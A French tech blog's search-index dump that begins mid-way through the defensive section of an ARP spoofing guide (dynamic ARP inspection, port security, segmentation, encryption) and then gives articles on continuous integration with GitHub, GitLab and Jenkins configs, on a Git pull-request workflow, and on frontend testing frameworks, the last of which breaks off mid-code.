(DAI), ces fonctionnalités évaluent la validité de chaque message ARP et rejettent les paquets qui semblent suspects ou malveillants. Le DAI peut également être configuré pour limiter le taux auquel les messages ARP peuvent passer à travers le switch, empêchant ainsi efficacement les attaques de déni de service (DoS). Le DAI et des fonctionnalités similaires étaient autrefois exclusives aux équipements réseau haut de gamme, mais sont maintenant courantes sur presque tous les switchs professionnels, y compris ceux des petites entreprises. Il est généralement considéré comme une meilleure pratique d\u0026rsquo;activer le DAI sur tous les ports, sauf ceux connectés à d\u0026rsquo;autres switchs. La fonctionnalité n\u0026rsquo;introduit pas d\u0026rsquo;impact significatif sur les performances, mais peut nécessiter d\u0026rsquo;être activée conjointement avec d\u0026rsquo;autres fonctionnalités comme le DHCP Snooping (une fonctionnalité de sécurité disponible sur de nombreux commutateurs de réseau gérés qui agit comme un pare-feu entre les clients DHCP non fiables et les serveurs DHCP fiables. Il fonctionne en examinant les paquets DHCP échangés entre les clients et les serveurs, et en filtrant les réponses non autorisées ou malveillantes). Activer la Sécurité des Ports sur un switch peut également aider à atténuer les attaques d\u0026rsquo;ARP Cache Poisoning. La Sécurité des Ports peut être configurée pour n\u0026rsquo;autoriser qu\u0026rsquo;une seule adresse MAC sur un port de switch, privant ainsi un attaquant de la possibilité d\u0026rsquo;assumer malicieusement plusieurs identités réseau. Sécurité Physique : contrôler correctement l\u0026rsquo;accès physique à votre lieu d\u0026rsquo;affaires peut aider à atténuer les attaques d\u0026rsquo;ARP Poisoning. Les messages ARP ne sont pas routés au-delà des limites du réseau local, donc les attaquants potentiels doivent être à proximité physique du réseau victime ou avoir déjà le contrôle d\u0026rsquo;une machine sur le réseau. Notez que dans le cas des réseaux sans fil, la proximité ne signifie pas nécessairement que l\u0026rsquo;attaquant a besoin d\u0026rsquo;un accès physique direct ; un signal s\u0026rsquo;étendant jusqu\u0026rsquo;à une rue ou un parking peut suffire. Qu\u0026rsquo;il s\u0026rsquo;agisse de réseaux filaires ou sans fil, l\u0026rsquo;utilisation de technologies comme 802.1x peut garantir que seuls les appareils de confiance et/ou gérés peuvent se connecter au réseau.\nIsolation du Réseau : Comme indiqué précédemment, les messages ARP ne voyagent pas au-delà du sous-réseau local. Cela signifie qu\u0026rsquo;un réseau bien segmenté peut être moins susceptible au poisonning de cache ARP, car une attaque dans un sous-réseau ne peut pas affecter les appareils dans un autre. Concentrer les ressources importantes dans un segment de réseau dédié où une sécurité renforcée est présente peut grandement réduire l\u0026rsquo;impact potentiel d\u0026rsquo;une attaque d\u0026rsquo;ARP Poisoning.\nChiffrement : bien que le chiffrement n\u0026rsquo;empêche pas réellement une attaque ARP de se produire, il peut en atténuer les dommages potentiels. Une utilisation populaire des attaques de type homme du milieu (MiTM) était de capturer les identifiants de connexion autrefois couramment transmis en clair. Avec l\u0026rsquo;utilisation généralisée du chiffrement SSL/TLS sur le web, ce type d\u0026rsquo;attaque est devenu plus difficile. L\u0026rsquo;acteur de la menace peut toujours intercepter le trafic, mais ne peut rien faire avec celui-ci sous sa forme chiffrée.\nQuel Contexte de Pentest n\u0026rsquo;est Pas Adapté à ce Genre d\u0026rsquo;Attaques # Accès VPN Seul : si l\u0026rsquo;attaquant n\u0026rsquo;a qu\u0026rsquo;un accès VPN au réseau, il ne sera pas sur le même réseau local et ne pourra donc pas lancer une attaque ARP spoofing.\nRéseaux Fortement Segmentés : dans des réseaux où la segmentation est strictement appliquée, l\u0026rsquo;ARP spoofing peut être moins efficace, car l\u0026rsquo;attaquant n\u0026rsquo;a accès qu\u0026rsquo;à une petite partie du réseau.\n","date":"11 janvier 2023","permalink":"/cyber-posts-vulnerabilities/arp-spoofing/","section":"Cyber-Posts-Vulnerabilities","summary":"De l\u0026rsquo;introduction au fonctionnement, en passant par les implications, la détection, l\u0026rsquo;exploitation, et la prévention, cet article explore en profondeur l\u0026rsquo;ARP Spoofing, offrant une compréhension complète pour les experts en cybersécurité, les pentesters et les administrateurs réseau.","title":"L'ARP Spoofing : Un guide exhaustif pour la sécurité réseau"},{"content":"","date":"11 janvier 2023","permalink":"/categories/r%C3%A9seau/","section":"Categories","summary":"","title":"Réseau"},{"content":"","date":"11 janvier 2023","permalink":"/tags/s%C3%A9curit%C3%A9-r%C3%A9seau/","section":"Tags","summary":"","title":"Sécurité Réseau"},{"content":"","date":"11 janvier 2023","permalink":"/tags/wireshark/","section":"Tags","summary":"","title":"Wireshark"},{"content":"","date":"10 janvier 2023","permalink":"/tags/ci/","section":"Tags","summary":"","title":"CI"},{"content":"","date":"10 janvier 2023","permalink":"/tags/gitlab/","section":"Tags","summary":"","title":"GitLab"},{"content":"","date":"10 janvier 2023","permalink":"/tags/int%C3%A9gration-continue/","section":"Tags","summary":"","title":"Intégration Continue"},{"content":"","date":"10 janvier 2023","permalink":"/tags/jenkins/","section":"Tags","summary":"","title":"Jenkins"},{"content":" Introduction # L\u0026rsquo;intégration continue (CI) est devenue un élément essentiel du cycle de développement de logiciels moderne. Elle permet aux équipes de développement de travailler de manière plus agile et efficace, en automatisant une grande partie du processus de test et de déploiement. Cet article explore en profondeur la CI, son importance, ses avantages, les outils disponibles, les étapes nécessaires, et les meilleures pratiques.\nDéfinition # L\u0026rsquo;intégration continue (CI) est une pratique de développement logiciel où les développeurs fusionnent leurs changements dans la branche principale aussi souvent que possible, généralement plusieurs fois par jour. Chaque fusion est vérifiée par une compilation automatique et des tests automatisés pour détecter les erreurs le plus tôt possible.\nImportance de la CI # L\u0026rsquo;intégration continue joue un rôle crucial dans le développement de logiciels pour plusieurs raisons:\nDétection Rapide des Erreurs : La CI permet de détecter les erreurs tôt dans le cycle de développement en exécutant des tests automatisés à chaque fusion. Cela permet de repérer les problèmes avant qu\u0026rsquo;ils ne s\u0026rsquo;aggravent, réduisant ainsi le temps et les efforts nécessaires pour les corriger.\nCollaboration Améliorée : En intégrant régulièrement le code, les équipes peuvent travailler plus étroitement et éviter les conflits de fusion. Cela favorise une meilleure communication et une collaboration plus efficace entre les développeurs, les testeurs et les opérateurs.\nLivraison Continue : La CI facilite la livraison et le déploiement continus en automatisant le processus de construction, de test et de déploiement. Cela permet une mise sur le marché plus rapide et une réponse plus agile aux besoins des clients.\nAvantages et défis de l\u0026rsquo;intégration continue # Avantages # L\u0026rsquo;intégration continue est un aspect essentiel de DevOps et des équipes de développement logiciel performantes. Cependant, les avantages de la CI ne se limitent pas à l\u0026rsquo;équipe d\u0026rsquo;ingénierie, mais profitent grandement à l\u0026rsquo;ensemble de l\u0026rsquo;organisation. La CI permet une meilleure transparence et une meilleure compréhension du processus de développement et de livraison de logiciels. Ces avantages permettent au reste de l\u0026rsquo;organisation de mieux planifier et exécuter les stratégies de mise sur le marché. Voici quelques-uns des avantages organisationnels globaux de la CI.\nPermettre la mise à l\u0026rsquo;échelle : La CI permet aux organisations de mettre à l\u0026rsquo;échelle la taille de l\u0026rsquo;équipe d\u0026rsquo;ingénierie, la taille de la base de code et l\u0026rsquo;infrastructure. En minimisant la bureaucratie et la communication liées à l\u0026rsquo;intégration du code, la CI aide à construire des flux de travail DevOps et agiles. Elle permet à chaque membre de l\u0026rsquo;équipe de posséder un changement de code jusqu\u0026rsquo;à sa publication. La CI permet la mise à l\u0026rsquo;échelle en supprimant toute dépendance organisationnelle entre le développement de fonctionnalités individuelles. Les développeurs peuvent désormais travailler sur des fonctionnalités dans un silo isolé et avoir l\u0026rsquo;assurance que leur code s\u0026rsquo;intégrera sans problème avec le reste de la base de code, ce qui est un processus DevOps central.\nAméliorer la boucle de feedback : Un feedback plus rapide sur les décisions commerciales est un autre effet puissant de la CI. Les équipes produit peuvent tester des idées et itérer plus rapidement les conceptions de produits avec une plateforme CI optimisée. Les changements peuvent être rapidement poussés et mesurés pour le succès. Les bugs ou autres problèmes peuvent être rapidement identifiés et réparés.\nAméliorer la communication : La CI améliore la communication et la responsabilité globales en ingénierie, ce qui permet une plus grande collaboration entre le développement et les opérations au sein d\u0026rsquo;une équipe DevOps. En introduisant des flux de travail de pull request liés à la CI, les développeurs bénéficient d\u0026rsquo;un partage passif des connaissances. Les pull requests permettent aux développeurs d\u0026rsquo;observer et de commenter le code des autres membres de l\u0026rsquo;équipe. Les développeurs peuvent désormais voir et collaborer sur les branches de fonctionnalités avec d\u0026rsquo;autres développeurs à mesure que les fonctionnalités progressent dans la pipeline CI. La CI peut également être utilisée pour aider à réduire les dépenses en ressources QA. Un pipeline CI efficace avec une couverture de test automatisée de haute confiance protégera contre les régressions et garantira que les nouvelles fonctionnalités correspondent à une spécification. Avant que le nouveau code ne soit fusionné, il doit passer la suite de tests d\u0026rsquo;assertion CI qui empêchera toute nouvelle régression.\nDéfis de la CI # Les avantages de la CI l\u0026rsquo;emportent largement sur les défis de son adoption. Cela dit, il est important d\u0026rsquo;être conscient des défis de la CI. Les véritables défis de la CI surviennent lors de la transition d\u0026rsquo;un projet sans CI vers la CI. La plupart des projets logiciels modernes adopteront la CI dès les premières étapes de la conception et atténueront les défis d\u0026rsquo;une adoption ultérieure.\nAdoption et installation : les défis de l\u0026rsquo;intégration continue concernent principalement l\u0026rsquo;adoption par l\u0026rsquo;équipe et l\u0026rsquo;installation technique initiale. Si une équipe n\u0026rsquo;a pas actuellement de solution CI en place, il peut être nécessaire de faire des efforts pour en choisir une et commencer. Ainsi, des considérations doivent être prises en compte concernant l\u0026rsquo;infrastructure d\u0026rsquo;ingénierie existante lors de l\u0026rsquo;installation d\u0026rsquo;un pipeline CI.\nCourbe d\u0026rsquo;apprentissage technologique : la fonctionnalité CI s\u0026rsquo;accompagne d\u0026rsquo;une liste de technologies de support qui peuvent être des investissements en courbe d\u0026rsquo;apprentissage pour l\u0026rsquo;équipe à entreprendre. Ces technologies sont les systèmes de contrôle de version, l\u0026rsquo;infrastructure d\u0026rsquo;hébergement et les technologies d\u0026rsquo;orchestration.\nOpen Source Tools for CI # Jenkins : Il offre une grande flexibilité et une vaste bibliothèque de plugins. Il peut être configuré pour exécuter des tests, compiler le code, et déployer des applications, le tout de manière automatisée.\nGitLab CI : Intégré à GitLab, il permet une configuration facile des pipelines CI/CD directement dans le référentiel de code, facilitant la collaboration et l\u0026rsquo;automatisation.\nTravis CI : Spécialement conçu pour travailler avec GitHub, il offre une intégration transparente et une configuration simple pour les projets hébergés sur GitHub.\nCircleCI : Il offre une intégration avec de nombreux systèmes de contrôle de version et une configuration facile, permettant une automatisation rapide et efficace.\nÉtapes que toute CI doit contenir # Source Control : Utiliser un système comme Git permet de suivre les changements et de faciliter la collaboration entre les membres de l\u0026rsquo;équipe.\nCompilation Automatique : La compilation automatique assure que le code est toujours dans un état constructible, réduisant les risques d\u0026rsquo;erreurs de compilation.\nTests Automatisés : Les tests automatisés à chaque étape permettent de détecter rapidement les erreurs et d\u0026rsquo;assurer que le code répond aux exigences. (pour plus d\u0026rsquo;information sur le sujet, vous pouvez vous référez à l\u0026rsquo;article sur les tests automatisés)\nAnalyse de Code : L\u0026rsquo;analyse automatique du code pour la qualité et les normes de codage aide à maintenir un code propre et efficace.\nBest Practices de la CI # Intégrer Régulièrement : Fusionner fréquemment évite les conflits majeurs et facilite la collaboration. Maintenir une Branche Principale Stable : Assurer que la branche principale est toujours déployable réduit les risques et facilite la livraison continue. Automatiser Tout : L\u0026rsquo;automatisation de toutes les étapes, des tests au déploiement, assure une efficacité et une fiabilité maximales. Utiliser des Environnements Identiques : Avoir des environnements de test et de production identiques réduit les risques d\u0026rsquo;erreurs liées à l\u0026rsquo;environnement. Fournir un Feedback Rapide : Informer rapidement les développeurs des problèmes permet une correction rapide et une amélioration continue. Pull Requests et Revue de Code : les pull requests et la revue de code encouragent la collaboration et le partage des connaissances. Ils permettent une revue par les pairs du nouveau code, favorisant la communication au sein de l\u0026rsquo;équipe et protégeant contre la dette technique. Optimiser la Vitesse de la Pipeline : l\u0026rsquo;optimisation de la vitesse du pipeline CI est essentielle pour une boucle de feedback rapide. Une exécution plus rapide permet aux développeurs de pousser des changements rapidement, améliorant l\u0026rsquo;expérience utilisateur et offrant un avantage concurrentiel. Exemple de CI # Pour l\u0026rsquo;exemple, je vais montrer 3 CI différentes : Gitlab CI, Github CI et Jenkins pour le cadre d\u0026rsquo;une application web en React.js typé. L\u0026rsquo;objectif est d\u0026rsquo;optimiser les runs et qu\u0026rsquo;un job n\u0026rsquo;est lancé que si on est sur qu\u0026rsquo;un autre ne sera pas lancé, ainsi on va réaliser d\u0026rsquo;abord l\u0026rsquo;analyse statique du code qui ne dépasse que rarement les 2-3 minutes si bien parallélisée, puis après on lance le build (pour s\u0026rsquo;assurer d\u0026rsquo;abord qu\u0026rsquo;il n\u0026rsquo;y aura pas d\u0026rsquo;erreur build suite à un problème sur le code qui aurait pu être découvert par l\u0026rsquo;analyse statique), par la suite on lance les différents tests à partir du build pour s\u0026rsquo;assurer qu\u0026rsquo;à minima les tests vont vérifier le build final et non une version du dev environment. L\u0026rsquo;objectif est d\u0026rsquo;assurer une bonne accuracy des tests.\nExample de CI Github CI # Principalement sur le .github/workflows/ci.yml\nname: CI on: push: branches: - main jobs: # Installation des dépendances si le cache expire ou si yarn.lock change install_dependencies: runs-on: ubuntu-latest steps: - name: Checkout code uses: actions/checkout@v2 - name: Cache dependencies id: cache uses: actions/cache@v2 with: path: node_modules key: ${{ runner.os }}-node-modules-${{ hashFiles(\u0026#39;yarn.lock\u0026#39;) }} - name: Install dependencies if: steps.cache.outputs.cache-hit != \u0026#39;true\u0026#39; run: npm install # Linting en parallèle lint: needs: install_dependencies runs-on: ubuntu-latest strategy: matrix: task: [lint:jsx, lint:css, type-check] steps: - name: Checkout code uses: actions/checkout@v2 - name: Use cached node_modules uses: actions/cache@v2 with: path: node_modules key: ${{ runner.os }}-node-modules-${{ hashFiles(\u0026#39;yarn.lock\u0026#39;) }} - name: Run lint run: npm run ${{ matrix.task }} # Construction de l\u0026#39;application build: needs: lint runs-on: ubuntu-latest steps: - name: Checkout code uses: actions/checkout@v2 - name: Use cached node_modules uses: actions/cache@v2 with: path: node_modules key: ${{ runner.os }}-node-modules-${{ hashFiles(\u0026#39;yarn.lock\u0026#39;) }} - name: Build run: npm run build - name: Upload build artifact uses: actions/upload-artifact@v2 with: name: build path: build # Tests automatisés en parallèle test: needs: build runs-on: ubuntu-latest strategy: matrix: task: [test:unit, test:snapshot, test:integration, test:e2e] steps: - name: Checkout code uses: actions/checkout@v2 - name: Download build artifact uses: actions/download-artifact@v2 with: name: build path: build - name: Run test run: npm run ${{ matrix.task }} Gitlab CI # Principalement sur le .gitlab-ci.yml\nstages: - install - lint - build - test variables: CACHE_KEY: \u0026#34;yarn-${CI_COMMIT_REF_SLUG}-${CI_PIPELINE_ID}\u0026#34; # Installation des dépendances si le cache expire ou si yarn.lock change install_dependencies: stage: install script: - npm install cache: key: ${CACHE_KEY} paths: - node_modules/ policy: pull-push only: changes: - yarn.lock # Linting du JSX lint_jsx: stage: lint script: - npm run lint:jsx dependencies: - install_dependencies # Linting du CSS lint_css: stage: lint script: - npm run lint:css dependencies: - install_dependencies # Vérification des types type_check: stage: lint script: - npm run type-check dependencies: - install_dependencies # Construction de l\u0026#39;application build: stage: build script: - npm run build artifacts: paths: - build/ # Tests unitaires unit_tests: stage: test script: - npm run test:unit dependencies: - build # Tests de snapshot snapshot_tests: stage: test script: - npm run test:snapshot dependencies: - build # Tests d\u0026#39;intégration integration_tests: stage: test script: - npm run test:integration dependencies: - build # Tests de bout en bout (End to End) e2e_tests: stage: test script: - npm run test:e2e dependencies: - build Jenkins # Principalement sur le Jenkinsfile\npipeline { agent any stages { // Installation des dépendances si yarn.lock change stage(\u0026#39;Install Dependencies\u0026#39;) { when { changeset pattern: \u0026#39;yarn.lock\u0026#39;, comparator: \u0026#39;CHANGE\u0026#39; } steps { sh \u0026#39;npm install\u0026#39; stash includes: \u0026#39;node_modules/\u0026#39;, name: \u0026#39;node_modules\u0026#39; } } // Linting en parallèle stage(\u0026#39;Lint\u0026#39;) { parallel { stage(\u0026#39;Lint JSX\u0026#39;) { // Linting du JSX steps { unstash \u0026#39;node_modules\u0026#39; sh \u0026#39;npm run lint:jsx\u0026#39; } } stage(\u0026#39;Lint CSS\u0026#39;) { // Linting du CSS steps { unstash \u0026#39;node_modules\u0026#39; sh \u0026#39;npm run lint:css\u0026#39; } } stage(\u0026#39;Type Check\u0026#39;) { // Vérification des types steps { unstash \u0026#39;node_modules\u0026#39; sh \u0026#39;npm run type-check\u0026#39; } } } } // Construction de l\u0026#39;application stage(\u0026#39;Build\u0026#39;) { steps { unstash \u0026#39;node_modules\u0026#39; sh \u0026#39;npm run build\u0026#39; archiveArtifacts artifacts: \u0026#39;build/\u0026#39;, fingerprint: true } } // Tests automatisés en parallèle stage(\u0026#39;Automated Tests\u0026#39;) { parallel { stage(\u0026#39;Unit Tests\u0026#39;) { // Tests unitaires steps { unstash \u0026#39;build\u0026#39; sh \u0026#39;npm run test:unit\u0026#39; } } stage(\u0026#39;Snapshot Tests\u0026#39;) { // Tests de snapshot steps { unstash \u0026#39;build\u0026#39; sh \u0026#39;npm run test:snapshot\u0026#39; } } stage(\u0026#39;Integration Tests\u0026#39;) { // Tests d\u0026#39;intégration steps { unstash \u0026#39;build\u0026#39; sh \u0026#39;npm run test:integration\u0026#39; } } stage(\u0026#39;End to End Tests\u0026#39;) { // Tests de bout en bout (End to End) steps { unstash \u0026#39;build\u0026#39; sh \u0026#39;npm run test:e2e\u0026#39; } } } } } } ","date":"10 janvier 2023","permalink":"/dev-posts/continuous-integration/","section":"Dev-Posts","summary":"De l\u0026rsquo;introduction à la mise en pratique, cet article explore en profondeur l\u0026rsquo;importance, les bénéfices, les outils, les étapes et les meilleures pratiques de l\u0026rsquo;Intégration Continue, offrant une compréhension complète pour les développeurs et les équipes DevOps.","title":"L'Intégration Continue (CI) : Un guide exhaustif"},{"content":"","date":"10 janvier 2023","permalink":"/tags/react/","section":"Tags","summary":"","title":"React"},{"content":"","date":"9 janvier 2023","permalink":"/tags/git/","section":"Tags","summary":"","title":"Git"},{"content":" Github Workflow # Introduction # Introduction # Dans le monde en constante évolution de la technologie et du développement logiciel, la collaboration et la gestion efficaces des projets sont essentielles. C\u0026rsquo;est là qu\u0026rsquo;intervient un workflow de travail GitHub, un système qui facilite la collaboration et la gestion de projets en permettant aux développeurs de travailler ensemble de manière plus organisée et transparente. Cette introduction explore la définition de Git, l\u0026rsquo;importance du versionnage de code et l\u0026rsquo;intérêt de fonctionner en workflow similaire.\nDéfinition de Git (Versionnage de Code) # Git est un système de contrôle de version distribué qui permet aux développeurs de suivre et de gérer les changements dans le code source au fil du temps. Contrairement à d\u0026rsquo;autres systèmes de contrôle de version, Git stocke les informations sous forme de snapshots du projet, et non de différences entre les fichiers. Cela permet une plus grande flexibilité et une collaboration plus efficace entre les membres de l\u0026rsquo;équipe, car chaque développeur peut travailler sur sa propre copie du projet et fusionner ses changements avec les autres.\nIntérêt de Versionner le Code et de Fonctionner en Workflow Similaire # Contrôle et Traçabilité : versionner le code avec Git offre un contrôle sans précédent sur le développement. Chaque modification est enregistrée avec des détails tels que l\u0026rsquo;auteur, la date et une description, permettant une traçabilité complète. Cela facilite non seulement la détection et la correction des erreurs, mais aussi la compréhension de l\u0026rsquo;évolution du projet. Dans un environnement complexe où plusieurs développeurs collaborent, cette traçabilité est essentielle pour maintenir la cohérence et l\u0026rsquo;intégrité du code.\nCollaboration et Parallélisation : Git permet à plusieurs développeurs de travailler simultanément sur différentes branches, favorisant une parallélisation efficace des tâches. Cela élimine les goulots d\u0026rsquo;étranglement et permet une utilisation optimale des ressources de l\u0026rsquo;équipe. De plus, les conflits potentiels peuvent être résolus de manière élégante, sans compromettre le travail des autres.\nQualité et Revue de Code : L\u0026rsquo;adoption d\u0026rsquo;un workflow structuré, tel que celui basé sur les Pull Requests, impose une discipline qui améliore la qualité du code. Chaque modification doit passer par une revue de code, où les pairs évaluent, critiquent et suggèrent des améliorations. Cela crée une culture de responsabilité et d\u0026rsquo;excellence, où les erreurs sont attrapées tôt et où les meilleures pratiques sont renforcées.\nFlexibilité et Expérimentation : Avec Git, les développeurs peuvent créer des branches pour expérimenter de nouvelles fonctionnalités sans affecter le code principal. Cela encourage l\u0026rsquo;innovation et permet d\u0026rsquo;explorer différentes solutions sans risque. Si une expérimentation réussit, elle peut être fusionnée ; si elle échoue, elle peut être abandonnée sans conséquence.\nIntégration et Livraison Continues : Un workflow Git bien conçu peut être intégré à des systèmes d\u0026rsquo;Intégration Continue (CI) et de Livraison Continue (CD), automatisant le processus de test et de déploiement. Cela accélère le cycle de développement, réduit les erreurs humaines et assure que le code est toujours dans un état déployable.\nComment Utiliser les Pull Requests avec Git : Guide en 6 Étapes # Avant de commencer sa journée de développeur, il est toujours recommandé de pull la branche principale en local, ça permet d\u0026rsquo;abord d\u0026rsquo;avoir une meilleure vision des features déjà merge, et d\u0026rsquo;assurer que votre travail reste le plus synchronisé avec la main pour éviter de grands conflits sur le long terme.\nÉtape 1: Créer une Nouvelle Branche # Avant d\u0026rsquo;apporter des modifications au code source, créez une nouvelle branche pour vos modifications. Cela vous permettra de travailler sur vos modifications sans affecter le code source principal.\nCréer une branche git checkout -b my-feature-branch Étape 2: Apporter des Modifications et les Valider # Apportez vos modifications au code source et validez-les dans votre branche.\nModifications à ajouter git add . git commit -m \u0026#34;Ajout de nouvelle fonctionnalité\u0026#34; Étape 3-1: Pousser les Modifications vers la Branche Distante # Push changes Poussez vos modifications vers la branche distante sur GitHub.\ngit push origin my-feature-branch Étape 3-2: Créer une Pull Request # Créez une pull request sur GitHub pour fusionner vos modifications dans le code source principal.\nÉtape 4: Examiner et Discuter des Modifications # Discuter les modifications Chaque membre de l\u0026rsquo;équipe doit effectuer des revues de Pull Requests en suivant les principes suivants :\nMeilleures Pratiques pour la Revue de Code # La revue de code est une partie importante du processus de développement, et il y a plusieurs meilleures pratiques à garder à l\u0026rsquo;esprit lors de la revue de code :\nSoyez constructif et respectueux : Lors de la revue du code de quelqu\u0026rsquo;un d\u0026rsquo;autre, il est important d\u0026rsquo;être respectueux et constructif dans vos commentaires. Évitez les attaques personnelles ou les critiques de l\u0026rsquo;auteur du code. Exemple de retour non constructif Exemple de retour constructif Concentrez-vous sur le code, pas sur l\u0026rsquo;auteur : La revue de code vise à améliorer le code, et non à juger l\u0026rsquo;auteur/ Concentrez-vous sur le code lui-même et comment il peut être amélioré, plutôt que sur la personne qui l\u0026rsquo;a écrit. Soyez précis et concret : Lorsque vous fournissez des commentaires, soyez précis sur ce qui doit être changé et donnez des suggestions concrètes pour l\u0026rsquo;amélioration. Évitez les commentaires vagues qui ne fournissent aucune orientation. Considérez l\u0026rsquo;objectif du code : Lors de la revue de code, considérez son objectif et comment il s\u0026rsquo;inscrit dans le contexte plus large du projet. Assurez-vous que le code est conforme aux objectifs et aux normes du projet. Soyez minutieux, mais ne chipotez pas : Revoyez le code minutieusement, mais évitez de chipoter sur de petits détails qui n\u0026rsquo;affectent pas la fonctionnalité ou la lisibilité du code. Étape 5: Fusionner les Modifications dans le Code Source Principal # Fusionner la branche Une fois que votre code a été examiné et approuvé, vous pouvez fusionner vos modifications dans le code source principal.\ngit checkout main git pull origin main git merge my-feature-branch git push origin main C\u0026rsquo;est tout ! Vous avez utilisé avec succès le flux de travail de pull request avec Git pour collaborer sur un projet.\n","date":"9 janvier 2023","permalink":"/dev-posts/development-workflow/","section":"Dev-Posts","summary":"De la gestion précise des versions à la collaboration fluide, cet article explore en profondeur l\u0026rsquo;utilité et les avantages d\u0026rsquo;un workflow GitHub structuré, offrant des insights pour un développement plus efficace, contrôlé et de qualité supérieure.","title":"Le Workflow de Travail GitHub : Un Guide Avancé pour les Développeurs"},{"content":"","date":"9 janvier 2023","permalink":"/tags/versionnage/","section":"Tags","summary":"","title":"Versionnage"},{"content":"","date":"9 janvier 2023","permalink":"/tags/workflow/","section":"Tags","summary":"","title":"Workflow"},{"content":"","date":"8 janvier 2023","permalink":"/tags/front-end/","section":"Tags","summary":"","title":"Front-End"},{"content":" Introduction # Dans l\u0026rsquo;univers du développement moderne, les tests sont devenus un élément indispensable pour garantir la qualité et la stabilité d\u0026rsquo;une application. Ils sont particulièrement cruciaux dans le développement frontend, où l\u0026rsquo;interaction avec l\u0026rsquo;utilisateur est au cœur de l\u0026rsquo;expérience. Cet article couvrira en détail pourquoi les tests sont nécessaires, les différents types de tests, la meilleure stratégie de test, les frameworks disponibles, l\u0026rsquo;automatisation et les particularités avec React.\nPourquoi avoir des tests? # Assurance Qualité : les tests permettent de s\u0026rsquo;assurer que le code fonctionne comme prévu et d\u0026rsquo;identifier rapidement les erreurs ou les défauts. Ils améliorent également la confiance des développeurs dans le code, facilitant ainsi les modifications et les ajouts futurs. Régression : Ils permettent de détecter les régressions, où une nouvelle modification casse une fonctionnalité existante. Développement Agile : Les tests soutiennent le développement agile, facilitant l\u0026rsquo;intégration et le déploiement continus. Documentation : Les tests peuvent servir de documentation vivante, décrivant comment le code doit fonctionner. Quels sont les différents types de test? # Tests Unitaires # Les tests unitaires vérifient une unité de code individuelle, comme une fonction.\nfunction add(a, b) { return a + b; } test(\u0026#39;addition\u0026#39;, () =\u0026gt; { expect(add(1, 2)).toBe(3); }); Tests d\u0026rsquo;Intégration # Ils vérifient comment plusieurs unités interagissent entre elles.\nTests de bout en bout (E2E) # Ces tests vérifient l\u0026rsquo;application dans son ensemble, souvent en simulant une interaction utilisateur réelle.\nQuelle est la meilleure stratégie de test? # Il faut néanmoins garder en tête les points suivants :\nAdopter la pyramide de test : Une grande base de tests unitaires, quelques tests d\u0026rsquo;intégration et encore moins de tests E2E. Automatisation : L\u0026rsquo;automatisation des tests permet un retour rapide. Intégration Continue : Intégrer les tests dans le pipeline CI/CD pour une vérification constante. Maintenance : Garder les tests à jour et réfléchir à l\u0026rsquo;objectif de chaque test. Quels sont les frameworks qui peuvent être utilisés pour tester # JavaScript :\nJest: Très populaire pour les tests unitaires et d\u0026rsquo;intégration. Caractéristiques :\nFacilité de configuration : Jest est facile à mettre en place et vient avec une configuration par défaut. Snapshot Testing : Cela permet de prendre un «instantané» de la sortie d\u0026rsquo;un composant et de le comparer lors des tests futurs. Exemple de code :\ntest(\u0026#39;adds 1 + 2 to equal 3\u0026#39;, () =\u0026gt; { expect(1 + 2).toBe(3); }); Exemple de tests jest Cypress: Excellent pour les tests E2E. Caractéristiques : Interface utilisateur agréable : Cypress fournit une interface qui montre les étapes du test en temps réel. Attentes automatiques : Cypress attend automatiquement les éléments, les requêtes, etc., réduisant ainsi le flottement dans les tests. Facilité d\u0026rsquo;écriture: Les tests sont écrits dans un style semblable à Mocha. Exemple de code:\ncy.visit(\u0026#39;https://example.com\u0026#39;); cy.contains(\u0026#39;Welcome\u0026#39;).click(); Exemple de cypress Mocha \u0026amp; Chai : Flexible et largement utilisé. Caractéristiques:\nFlexible : Ils peuvent être combinés avec d\u0026rsquo;autres bibliothèques et outils. Riche en fonctionnalités : Ils fournissent un large éventail de façons d\u0026rsquo;écrire et de structurer les tests. Supporte plusieurs environnements : Navigateur et Node.js. Exemple de code:\ndescribe(\u0026#39;Array\u0026#39;, () =\u0026gt; { it(\u0026#39;should return -1 when the value is not present\u0026#39;, () =\u0026gt; { expect([1, 2, 3].indexOf(4)).to.be(-1); }); }); Python (pour le test de code frontend via Selenium) :\nPyTest : Facilite l\u0026rsquo;écriture de petits tests. Caractéristiques:\nSyntaxe simple : Écrire des tests avec PyTest est clair et concis. Plugins riches : Il existe de nombreux plugins pour étendre les fonctionnalités. Intégration avec Selenium : Pour tester les applications Web frontend. Exemple de code:\ndef test_valid_login(): driver.get(\u0026#34;https://example.com/login\u0026#34;) assert \u0026#34;Login\u0026#34; in driver.title unittest : Bibliothèque de test intégrée dans Python. Caractéristiques:\nOrienté objet : Les tests sont écrits comme des classes et des méthodes. Ensemble complet : Il fournit tout ce dont vous avez besoin pour écrire des tests. Intégration avec Selenium : Facilite le test de l\u0026rsquo;interface utilisateur. Exemple de code:\nclass TestLogin(unittest.TestCase): def test_valid_login(self): driver.get(\u0026#34;https://example.com/login\u0026#34;) self.assertIn(\u0026#34;Login\u0026#34;, driver.title) Est-ce qu\u0026rsquo;il y a des particularités avec React et les différents types de tests? # Tests unitaires : Dans le développement React, les tests unitaires sont essentiels pour s\u0026rsquo;assurer que chaque composant fonctionne comme prévu. Enzyme : Permet de manipuler, d\u0026rsquo;interagir et de simuler le rendu des composants React. Il propose trois types de rendu : superficiel, monté et statique. React Testing Library : Encourage les tests qui se concentrent sur le comportement plutôt que sur l\u0026rsquo;implémentation, facilitant la maintenance des tests même après les refactorisations. import { shallow } from \u0026#39;enzyme\u0026#39;; import MyComponent from \u0026#39;./MyComponent\u0026#39;; it(\u0026#39;renders without crashing\u0026#39;, () =\u0026gt; { shallow(\u0026lt;MyComponent /\u0026gt;); }); Snapshot Testing : Les tests de snapshots sont utiles pour vérifier que l\u0026rsquo;interface utilisateur ne change pas de manière inattendue. Création d\u0026rsquo;instantanés : Jest peut prendre un instantané de la structure d\u0026rsquo;un composant. Comparaison d\u0026rsquo;instantanés : Lors des tests futurs, Jest compare l\u0026rsquo;instantané actuel avec l\u0026rsquo;instantané stocké. Si des différences sont détectées, le test échoue. import renderer from \u0026#39;react-test-renderer\u0026#39;; import MyComponent from \u0026#39;./MyComponent\u0026#39;; it(\u0026#39;renders correctly\u0026#39;, () =\u0026gt; { const tree = renderer.create(\u0026lt;MyComponent /\u0026gt;).toJSON(); expect(tree).toMatchSnapshot(); }); Tests d\u0026rsquo;intégration : Les tests d\u0026rsquo;intégration vérifient l\u0026rsquo;interaction entre différents composants et peuvent nécessiter des outils supplémentaires pour gérer l\u0026rsquo;état et le contexte. import { render } from \u0026#39;@testing-library/react\u0026#39;; import { 